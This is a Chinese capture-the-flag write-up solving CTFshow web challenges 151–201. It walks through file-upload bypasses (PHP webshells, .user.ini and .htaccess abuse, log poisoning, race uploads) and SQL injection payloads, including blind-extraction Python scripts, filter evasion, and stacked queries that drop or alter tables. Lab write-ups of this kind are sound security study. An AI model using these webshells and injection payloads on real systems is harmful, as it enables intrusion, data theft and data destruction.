CTFshow-WEB151-278

CTFshow-WEB151-278
EZL1NG文件上传
Web151
简单的前台校验
1 | POST /upload.php HTTP/1.1 |
上传1.png文件后门文件然后改后缀为php
Web152
类似151题
Web153
传.png抓包改.php
显示文件上传失败,失败原因:文件类型不合规
猜测过滤了php
尝试大小写绕过过滤,可以上传但是无法连接
url上输入 /upload/
显示了nothing here表示可以用配置文件(因为upload目录下有php文件)
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
.user.ini配置文件是PHP的,可以在全部环境里生效。
1 | auto_prepend_file = 1.png |
上传抓包改名为.user.ini
在1.png中插入一句话木马,上传
访问upload/index.php
哥斯拉或者蚁剑连接
参考链接:
https://blog.csdn.net/cosmoslin/article/details/120793126
Web154
对文件后缀过滤,大小写绕过失败
对上传文件内容进行过滤
上传木马会直接拦截
发现可以对木马内容的php进行大小写绕过Php PhP pHp………
1 | Php |
上传成功
类似153
连接或者发post
1 | pass=system("tac ../flag.php"); |
Web155
存在配置文件绕过
先上传.user.ini
然后木马文件进行绕过
大小写绕过失败
可以直接将php删除然后上传
1 | <? |
成功得到flag
Web156
存在配置文件绕过
先上传.user.ini
然后木马文件进行绕过
上一题的方法失效
测试可知对[]
存在过滤
可以用{}代替掉[]而达到绕过的效果
1 | <? |
Web157
存在配置文件绕过
先上传.user.ini
然后木马文件进行绕过
测试可知对[]
,{}
和;
存在过滤
基本无法上传木马,可以尝试命令执行
1 | <? |
Web158
存在配置文件绕过
先上传.user.ini
类似157
Web159
存在配置文件绕过
先上传.user.ini
增加过滤()
无法调用所有的函数了,但是能利用php特性,命令执行可以用``(反引号包涵)
1 | <?=`nl ../fl*`?> |
Web160
存在配置文件绕过
但是发现上传.user.ini失败
后面发现过滤了空格
所以需将所有空格删除
禁用``{}()[];等字符,单双引号可以使用;
尝试文件包含,过滤log关键字;
利用双引号拼接
构造payload,接着日志包含
1 | <?=include"/var/lo"."g/nginx/access.lo"."g"?> |
可以看到包含日志成功,密密麻麻的字符串中,可以发现有UA信息,也就是http请求头的user-agent,所以可以把后门或者是命令执行插入到user-agent,前面的配置文件会连带执行php,就能拿到flag了,在UA后面加上
1 | <? system('tac ../flag.php')?> |
1 | POST /upload.php HTTP/1.1 |
其他方法
对于.user.ini包含的1.png
1 | ------WebKitFormBoundaryB87WAVC3uyrdO0dK |
文件包含伪协议
Web161
前端存在限制,只允许上传png文件
1 | <button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}"> |
直接上传配置文件失效
尝试在auto_prepend_file=1.png前增加GIF89a发现上传成功
对于上传1.png类似需要在数据前增加GIF89a
可以直接文件包含伪协议
1 | ------WebKitFormBoundaryB87WAVC3uyrdO0dK |
Web162
GIF89a被过滤
扫字典发现文件内容中.
被过滤
1 | auto_prepend_file=mm |
在自己vps写上一句话木马。然后将ip转为长地址,include包含,在连接/upload/index.php。
上传mm.png文件
1 | GIF89a |
附:python ip地址、长整形互相转换
1 | // IP转换为长整型 |
1 | // 长整型转换为IP |
Web163
上传图片后,会被删除,所以需要在上传的瞬间,就post命令执行。
方法一:
直接在配置文件里远程包含,然后访问/upload/index.php。
(要求服务器开启了远程包含选项)
1 | #.user.ini |
方法二:竞争上传,竞争环境都是半夜开
大概是这样的:上传一个php文件,这个php文件会短暂的存在上传目录下。
文件上传到服务器,服务器会对文件的合法性进行检测,不合法再删除。如果在被删除之前,我们不停的去访问这个文件,我们有可能访问到上传的文件,并且执行。
1 |
|
只要访问到,就能写入木马。
这里就可以写脚本爆破,或者用burp爆破了。一个不停上传,一个不停的访问,知道访问成功,木马也就写进去了。
Web164
配置文件方法不再适用
对文件内容进行限制
击查看图片发现页面跳转,对正常上传的图片名字进行了md5加密,同时图片显示。
存在二次渲染
二次渲染:
网站服务器会对上传的图片进行二次处理,对文件内容进行替换更新,根据原有图片生成一个新的图片,这样就会改变文件原有的一些内容,我们需要将一句话木马插入到数据不会被改变的位置,确保一句话木马不会受到二次渲染的影响。
生成图片马:
1 |
|
上传
get &0=system
post 1=tac flag.php
建议抓hackbar里边的包然后再重放
1 | POST /download.php?image=db94064d6001c8ebbd832d00f278f83f.png&0=system HTTP/1.1 |
Web165
jpg二次渲染
1 |
|
写入.jpg图片然后命令执行
jpg图片写入木马成功率低
Web166
经过测试发现上传点zip压缩文件上传,将木马文件修改后缀上传即可。
查看相应包(Response)发现上传文件被md5为9cbaef41bf7a14b248da322ef3fad136.zip
点击下载文件抓包
将访问文件的数据包抓取发现采用变量file,可能是文件包含
1 | GET /upload/download.php?file=9cbaef41bf7a14b248da322ef3fad136.zip HTTP/1.1 |
改包为POST
然后命令执行
1 | pass=system('tac ../flag.php'); |
Web167
前端限制只能上传jpg文件
访问/upload,报错apache,猜测存在.htaccess
经过测试上传文件必须为jpg后缀,通过题目提示httpd
先上传一个jpg文件,抓包修改名称为.htaccess
文件内容为:
1 | AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析 成php |
再上传一句话的jpg文件
上传成功访问/upload/1.jpg
hackbar post
1 | 1=system('tac ../f*'); |
Web168
经过测试发现,文件上传点将eval和system以及post和get过滤了
1 | 命令执行 |
Web169
前端限制上传.zip文件
经过检测,后台对’<’进行了检测,那么所有的php代码就不能上传了,但是php文件依旧可也上传,我们可以上传一个php后缀的文件,然后使用上传.user.ini的方法来进行日志包含,然后构造UA头进行访问即可得到flag
1 | ------WebKitFormBoundary6nBY8cS0R68w7K6r |
1 | UA头为:<?=eval($_POST[1]);?> |
访问/upload/1.php
执行命令
1 | 1=system("ls ../"); |
Web170
类似169
上传zip文件
.user.ini需要加一个文件头
1 |
|
1 | UA头为:<?=eval($_POST[1]);?> |
1 | 1=system("ls ../"); |
sql注入
Web171
1 | //拼接sql语句查找指定ID用户 |
1' or 1=1 --+
输出了所有的数据 此时sql语句为
1 | $sql = "select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;"; |
即 select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;
即 select username,password from user where username !='flag' and id = '1' or 1=1;
可以看到flag是存在于username为flag的用户的数据中,但是条件中username !='flag' and id='1' or 1=1
才能select
已知and优先级高于or,所以先username !='flag' and id='1'
再or 1=1
所以假or真
,结果为真,恒为真 所有的内容都会被输出
所有的user表中的username,password都被输出了,得到flag的内容
payload:
1 | 1' or 1 = 1 --+ |
Web172
看到查询时的url是/api/?id=
1 | 1' order by 1,2 --+ 显示数据 |
说明字段数有2个,存在注入
使用联合查询
查数据库版本以及数据库名
1 | 1' union select version(),database() --+ |
用户名 | 密码 |
---|---|
10.3.18-MariaDB | ctfshow_web |
admin | admin |
查数据库的库名
1 | 1' union select 1,(select group_concat(schema_name) from information_schema.schemata) --+ |
用户名 | 密码 |
---|---|
1 | information_schema,test,mysql,performance_schema,ctfshow_web |
admin | admin |
查库ctfshow_web的表名
1 | 1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') --+ |
用户名 | 密码 |
---|---|
1 | ctfshow_user,ctfshow_user2 |
admin | admin |
查出ctfshow_web的表名存在ctfshow_user,ctfshow_user2
分别查这两个表的列名
ctfshow_user
1 | 1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user') --+ |
用户名 | 密码 |
---|---|
1 | id,username,password1 |
admin | admin |
查出ctfshow_web库中的表ctfshow_user的列名存在 id,username,password
查列的内容
1 | 1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user) --+ |
用户名 | 密码 |
---|---|
1 | admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,flag_not_here |
admin | admin |
没有发现flag
ctfshow_user2
1 | 1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user2) --+ |
用户名 | 密码 |
---|---|
1 | admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{77c5560f-d8a9-4cc8-8216-c88728f02de6} |
admin | admin |
发现flag
Web173
1 | 1' order by 1,2,3 --+ #有回显 |
说明字段数有3个,存在注入
1 | 1' union select version(),database(),3 --+ |
ID | 用户名 | 密码 |
---|---|---|
1 | admin | admin |
10.3.18-MariaDB | ctfshow_web | 3 |
直接查ctfshow_web中的表名
1 | 1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+ |
ID | 用户名 | 密码 |
---|---|---|
1 | admin | admin |
1 | ctfshow_user,ctfshow_user2,ctfshow_user3 | 3 |
发现存在ctfshow_user,ctfshow_user2,ctfshow_user3个表名
分别查三个表的列
1 | 1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'),3 --+ |
发现三个表的列都为id,username,password
查列的内容
1 | 1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user3),3 --+ |
拿到flag
Web174
1 | //拼接sql语句查找指定ID用户 |
1 | //检查结果是否有flag |
根据提示,这里过滤了flag跟数字0-9,所以在查询id=2和id=3的时候会没有回显,所以本题有两种方法,一种是盲注,一种是直接绕过
1 | 1' order by 1,2 --+ |
测得数据段为2
方法一:字符串转化绕过
1 | 1' union select 'a','b' --+ |
存在注入点
查表名 类名类似前几题
这里主要问题为回显时会过滤数字,所以需要将数字过滤
替换规则映射(字母到数字):
replace_map = { ‘I’: ‘9’, ‘H’: ‘8’, ‘G’: ‘7’, ‘F’: ‘6’, ‘E’: ‘5’, ‘D’: ‘4’, ‘C’: ‘3’, ‘B’: ‘2’, ‘A’: ‘1’, ‘J’: ‘0’ }
1 | 1' union select 'a',REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,9,'I'),8,'H'),7,'G'),6,'F'),5,'E'),4,'D'),3,'C'),2,'B'),1,'A') ,0,'J') from ctfshow_user4 --+ |
得到flag为ctfshow{fICJEIHA-eGJH-DHEc-HIcb-fcbdIBBGGBHH}
或Y@CRmc@Bhvd@CtmOTMwNTk@DMS@AlNzA@DLTQ@DNWMtODljYi@AmY@BJkOTIyNzcyODh@I
解密
1 | #脚本一: |
Web175
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //检查结果是否有flag |
可以看到正则匹配中\xnn代表的是ascii码为十六进制nn的字符串,本关过滤掉了ascii从0到127的字符。
使用order by 判断字段数为2
1 | 1' and sleep(5) --+ |
5s后响应说明存在时间盲注
利用时间盲注跟写出文件来拿到flag
方法一:时间盲注
1 | import requests |
方法二:文件写入
看题解很多是这种方法,尝试未果。
1 | -1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/flag.txt' --+ |
Web176
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
1 | 1' order by 1,2,3 --+ |
判断数据段为三个
1 | 1' union select 1,2,3 --+ |
查询失败,测试可知大小写可以绕过
1 | 1' UNION SELECT 1,2,3 --+ |
查表名
1 | 1' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+ |
查内容
1 | 1' UNION SELECT 1,(SELECT group_concat(password) from ctfshow_web.ctfshow_user),3 --+ |
得到flag
Web177
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
经过测试,空格被滤掉,就相当于把注释符– 给过滤掉了,可以用/**/或者是%0a(回车)来绕过空格的过滤,%23(#)来绕过注释符的过滤,接着我们直接拿下flag
1 | 1'/**/order/**/by/**/1,2,3/**/%23 |
判断数据段为三个
1 | 1'/**/UNION/**/SELECT/**/1,(SELECT/**/group_concat(password)/**/from/**/ctfshow_web.ctfshow_user),3/**/%23 |
获取flag
Web178
跟上一题相比过滤掉了/**/注释符,但是能用回车(%0a)、括号、%09、%0c、%0d、%0b代替
1 | 1'%09order%09by%091,2,3%09%23 |
判断数据段为三个
1 | 1'%09UNION%09SELECT%091,(SELECT%09group_concat(password)%09from%09ctfshow_web.ctfshow_user),3%09%23 |
获取flag
Web179
过滤很多符号%0c能用
1 | 1'%0corder%0cby%0c1,2,3%0c%23 |
判断数据段为三个
1 | 1'%0cUNION%0cSELECT%0c1,(SELECT%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3%0c%23 |
获取flag
Web180
%23被过滤
用闭合号来注释掉后面的语句’1’=’
1 | 1'%0corder%0cby%0c1,2,3,4%0cor'1'=' |
判断数据段为四个
1 | '%0cUNION%0cSELECT%0c1,(SELECT%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3%0cor'1'=' |
获取flag
Web181
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
空格过滤了很多,select被过滤了。
mysql操作符优先级:(数字越大,优先级越高)|
优先级 | 运算符 |
---|---|
1 | := |
2 | ` |
3 | && , AND |
4 | NOT |
5 | BETWEEN, CASE, WHEN, THEN, ELSE |
6 | =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN |
7 | ` |
8 | & |
9 | <<, >> |
10 | -, + |
11 | *, /, DIV, %, MOD |
12 | ^ |
13 | - (一元减号), ~ (一元比特反转) |
14 | ! |
15 | BINARY, COLLATE |
payload:
1 | 1'or(username)='flag |
非预期:
1 | -1'%0cor%0cusername='flag |
采用万能密码:
1 | 1'||1--%0c |
Web182
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
增加过滤flag,可以使用通配符绕过
like可以用两个通配符(不区分大小写):
字符 | 说明 |
---|---|
% |
匹配任何数目的字符,甚至包括零字符 |
_ |
只能匹配一种字符 |
payload:
1 | -1'||(username)like'%fla% |
非预期:
采用万能密码:
1 | 1'||1--%0c |
Web183
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
查询结果
1 | //返回用户表的记录总数 |
之前的GET传参改为了POST
waf过滤了select flag等等
select不能用,只能选择布尔盲注或者时间盲注。
这题的解法是在已知表名的情况下实现的,再结合模糊匹配like或者正则匹配regexp。
写脚本前先测试一下语句是否能正常执行,可以的话,再写到脚本里。
因为每次查询记录总数都是1条,就是我们要找的flag,所以页面固定会出现$user_count = 1;,可以用布尔盲注。
1 | tableName=`ctfshow_user`where`pass`like'ctfshow{%' |
payload:
1 | import time |
Web184
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
查询结果
1 | //返回用户表的记录总数 |
增加过滤where union,但是未过滤括号
使用having代替where,having的语法是:
表名 group by 查询的数据 having 添加条件,只返回符合条件的数据 like ‘flag
过滤了’’单引号和””双引号,使用16进制转换绕过
1 | ctfshow_user group by pass having pass like ctfshow{% |
使用布尔盲注
1 | import requests |
Web185
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
查询结果
1 | //返回用户表的记录总数 |
增加过滤数字无法使用十六进制绕过
发现concat方法,可以构造字符串
使用 true 结合 concat 拼接出数字
手工注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46ctfshow{ 的十六进制为 0x63746673686f777b
c 的 ASCII码,十六进制值为:0x63,十进制值为:99
本题黑名单增加了数字,因此需要构造数字
1)构造数字
false 等于 0,true 等于 1,且 true+true = 2(这点非常重要)
构造十六进制
0x63 我们可以写成 false,‘x’,true+true+true+true+true+true,true+true+true
用 concat() 进行连接 concat(false,‘x’,(true+true+true+true+true+true),(true+true+true))
这样在本地环境中可得 0x63
但很可惜,x 使用了单引号(被过滤),尝试用数字表示 x
2)构造字母
这里核心为 char(),支持十进制(数字、字符串)和十六进制(仅数字)
x 的 ASCII码,十六进制值为:0x78,十进制值为:120
获取 x 的三种方法:char(0x78)、char(120)、char('120')
在上面,构造十六进制出现问题,因此此处构造十进制
构造十进制
x 的十进制为 120,120个 true 相加即可,实现起来非常简单(可以使用运算符,但注意是否存在运算符被屏蔽的情况)
这里选择拆分120
120 转为字符串,拆分成1、2、0,可用 true、true+true、false
如下可获取 x
char(concat(true,(true+true),false))
3)构造指定字母的ASCII码十六进制的值
ctfshow{ 的十六进制为 0x63746673686f777b
c 的 ASCII码,十六进制值为:0x63,十进制值为:99
x 的 ASCII码,十六进制值为:0x78,十进制值为:120
构造 ctf 的十六进制(0x637466)
concat(false,char(concat(true,(true+true),false)),(true+true+true+true+true+true),(true+true+true),(true+true+true+true+true+true+true),(true+true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true))
-- 然后发现在本地环境根本跑不出来
-- 0x637466 为字符串,mysql仅支持十六进制的数字,不支持十六进制的字符串
4)构造指定字母的ASCII码十进制的值
mysql支持十进制的数字和字符串,此条在上面有说明
这里以 ctf 为例
c(十进制99):char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true)))
t(十进制116):char(concat(true,true,(true+true+true+true+true+true)))
f(十进制102):char(concat(true,false,(true+true)))
ctf:concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true))))payload:
1
2
3
4//原payload为:tableName=ctfshow_user group by pass having pass regexp(ctf)
tableName=ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true)))))
tableName=ctfshow_user%20group%20by%20pass%20having%20pass%20regexp(concat(char(concat((power((true%2Btrue)%2C(true%2Btrue%2Btrue))%2Btrue)%2C(power((true%2Btrue)%2C(true%2Btrue%2Btrue))%2Btrue)))%2Cchar(concat(true%2Ctrue%2C(true%2Btrue%2Btrue%2Btrue%2Btrue%2Btrue)))%2Cchar(concat(true%2Cfalse%2C(true%2Btrue)))))python脚本
p1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37import requests
url = 'http://40366ff2-d00e-4911-80ec-2a840f21ffb8.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdef}'
flagstr = ''
flag = ''
strdict = {'0':'false,','1':'true,','2':'(true+true),',
'3':'(true+true+true),','4':'(true+true+true+true),',
'5':'(true+true+true+true+true),','6':'(true+true+true+true+true+true),',
'7':'(power((true+true),(true+true+true))-true),',
'8':'(power((true+true),(true+true+true))),',
'9':'(power((true+true),(true+true+true))+true),'
}
while True: #不知道 flag 长度(实际有38位,从{算起,到}结束)
for i in strlist:
m = ''
#将每个字符转成 Unicode编码对应的十进制(Unicode编码为ASCII码扩展)
#对其十进制进行拆分转换,这样可以降低一点时间复杂度
for x in str(ord(i)):
m += strdict[x]
m = 'char(concat('+m[:-1]+')),'
data = {
'tableName': "ctfshow_user group by pass having pass regexp(concat({}))".format(flagstr+m[:-1])
}
respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond:
print('--------------------正确',i)
flagstr += m
flag += i
print('ctfshow'+flag)
break
else:print('==================='+i+'错误')
if flag[-1] == '}':exit() #判断 flag 是否获取完整p2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50import requests
import time
import string
def formatString(str):
temp="concat("
for x in str:
tip=0
if x in string.digits:
tmp=int(x)
else:
tip=1
temp+="char("
tmp=ord(x)
if tmp == 0:
temp+="false"
else:
temp_d="("
for i in range(0,tmp):
temp_d+="true+"
temp_d=temp_d[:-1]+")"
if tip==1:
temp_d+=")"
temp+=temp_d
temp+=","
temp=temp[:-1]+")"
return temp
#print(formatString("0x63746673686f777b"))
url="http://40366ff2-d00e-4911-80ec-2a840f21ffb8.challenge.ctf.show/select-waf.php"
dic="abcdefjhigklmnopqrstuvwxyz0123456789-{}_"
flag="ctfshow{"
for i in range(0,40):
for x in dic:
data={
"tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
}
#print(data)
response=requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("[**] {} is right".format(x))
flag+=x
break
else:
#print("[--] {} is wrong".format(x))
continue
print("[flag]:"+flag)
Web186
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
查询结果
1 | //返回用户表的记录总数 |
增加了尖括号,^
、%
的过滤。
post上一题的payload发现$user_count = 1;
1 | tableName=ctfshow_user%20group%20by%20pass%20having%20pass%20regexp(concat(char(concat((power((true%2Btrue)%2C(true%2Btrue%2Btrue))%2Btrue)%2C(power((true%2Btrue)%2C(true%2Btrue%2Btrue))%2Btrue)))%2Cchar(concat(true%2Ctrue%2C(true%2Btrue%2Btrue%2Btrue%2Btrue%2Btrue)))%2Cchar(concat(true%2Cfalse%2C(true%2Btrue))))) |
脚本和web186一致
Web187
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | $username = $_POST['username']; |
下面有一个登录框,泄露用户名为admin
输入任何东西无回显
对于md5($_POST[‘password’],true)这个函数需要条件为真时,才会执行sql语句
md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是’ or ‘6
MD5加密 | 276F722736C95D99E921722CF9ED621C |
---|---|
16位原始二进制格式 | ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c |
string | ‘or’6]!r,b |
输入ffifdyop后,内部执行语句就会变为
1 | select * from 'admin' where password='or'6�]��!r,��b' |
在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数
必须要有单引号括起来,比如password=’ or ‘1xxxx’,那么就相当于password=’ or 1,所以返回值就是true
所以这里使用的sql语句可以化简为
1 | select * from 'admin' where password='or 6 |
参考文章:
https://blog.csdn.net/qq_58784379/article/details/120504844
payload:
1 | username=admin&password=ffifdyop |
Web188
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //用户名检测 |
对用户名过滤
密码只能为数字
但是只要登录成功,就会返回flag。
sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin
,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。
password也是弱类型的比较,直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。
payload:
1 | username=0&password=0 |
Web189
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //用户名检测 |
username=0&password=0
返回{“code”:0,”msg”:”\u5bc6\u7801\u9519\u8bef”,”count”:0,”data”:[]}
提示密码错误 说明存在用户
username=1&password=0
返回{“code”:0,”msg”:”\u67e5\u8be2\u5931\u8d25”,”count”:0,”data”:[]}
提示查询失败。(说明用户不存在)
hinit:
flag在api/index.php文件中
利用MYSQL读api/index.php
username 存在支持布尔盲注的条件
输出 密码错误 表示条件为真
输出 查询失败 表示条件为假
使用load_file函数读取文件
if(load_file(‘/var/www/html/api/index.php’)regexp’ctfshow{‘,0,1)
脚本
1 | import requests |
Web190
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //密码检测 |
没有过滤
username=admin&password=0返回密码错误
admin’ and 2>’1和admin’ and 2>’3分别返回密码错误和用户名不存在,2>1是true,2>3是false,那么说明,如果and后面表达式为true,则返回密码错误,如果不正确则返回用户名不存在,那么这就是个注入点,可以注入sql语句进行爆破。
爆破数据库名字:
1
admin' and substr(database(),1,1)='c
爆破数据表的名字:
1
admin' and substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,1)='c
爆破字段名字:
1
admin' and substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),1,1)='i
获取flag:
1
admin' and substr((select f1ag from ctfshow_fl0g),1,1)='c
脚本
1 | import requests |
Web191
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //密码检测 |
密码不允许注入,用户名过滤file|into|ascii
admin’ and 2>’1和admin’ and 2>’3分别返回密码错误和用户名不存在,2>1是true,2>3是false,那么说明,如果and后面表达式为true,则返回密码错误,如果不正确则返回用户名不存在,那么这就是个注入点,可以注入sql语句进行爆破。
其他类似web190
Web192
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //密码检测 |
过滤file|into|ascii|ord|hex
admin’ and 2>’1和admin’ and 2>’3分别返回密码错误和用户名不存在,2>1是true,2>3是false,那么说明,如果and后面表达式为true,则返回密码错误,如果不正确则返回用户名不存在,那么这就是个注入点,可以注入sql语句进行爆破。
其他类似web190
Web193
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //密码检测 |
过滤file|into|ascii|ord|hex|substr
admin’ and 2>’1和admin’ and 2>’3分别返回密码错误和用户名不存在,2>1是true,2>3是false,那么说明,如果and后面表达式为true,则返回密码错误,如果不正确则返回用户名不存在,那么这就是个注入点,可以注入sql语句进行爆破。
substr被过滤
其他和截取有关的函数,发现lpad()
lpad(str,len,padstr)
lpad()
函数返回字符串str
,len
小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串padstr
直到达到len
字符长度。
web190的脚本payload做以下更改
1 | "admin' and (lpad((select f1ag from ctfshow_flxg), {}, '')='{}')#".format(pos, tempstr+ch) |
lpad()
1 | import requests |
left()
1 | import requests |
Web194
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //密码检测 |
left无法使用
lpad然可以使用
参考web194脚本
Web195
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //密码检测 |
进行堆叠注入
用户名输入
0;update`ctfshow_user`set`pass`=1
密码输入
1
提交两次即可,第一次触发修改
payload:
1 | username=0;update`ctfshow_user`set`pass`=1&password=1 |
进一步学习:
Web196
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 |
可以用select绕过password的if判断。
判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。
那么可以输入username为1;select(5),password为5。当$row获取到第二个查询语句select(5)的结果集时,即可获得$row[0]=5,那么password输入5就可以满足条件判断。
payload:
1 | username=1;select(5)&password=5 |
Web197
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 |
select被过滤
方法一:
已知tablename为ctfshow_user
payload:
1 | username=1;show tables&password=ctfshow_user |
方法二:
更新表。过滤了update,但我们可以删表,重新建一个同样表名的表,列名给的查询语句也已经告知,分别是username和pass。
payload:
1 | 0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1) |
这里的意思就是删除以前的表,再自己新建一个并且插入数据:username=1,pass=1
然后直接输入1为用户名和密码,登录即可得到flag。
Web198
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 |
方法一:
已知tablename为ctfshow_user
payload:
1 | username=1;show tables&password=ctfshow_user |
方法二:本题把drop和create都过滤了,不能直接删表重建了。
在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。
将username和pass互换,这样就可以用userAUTO进行密码登录了。
payload:
1 | 0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100); |
最后,用户名为0,密码为userAUTO登陆即可
Web199
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 |
方法一:
已知tablename为ctfshow_user
payload:
1 | username=1;show tables&password=ctfshow_user |
方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。
payload:
1 | 0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text; |
最后,用户名为0,密码为userAUTO登陆即可
Web200
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 |
方法一:
已知tablename为ctfshow_user
payload:
1 | username=1;show tables&password=ctfshow_user |
方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。
payload:
1 | 0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text; |
最后,用户名为0,密码为userAUTO登陆即可
Web201
sqlmap篇
使用–user-agent 指定agent
使用–referer 绕过referer检查
–batch 是帮助我们在执行过程中自动选择
1 | sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap --batch |
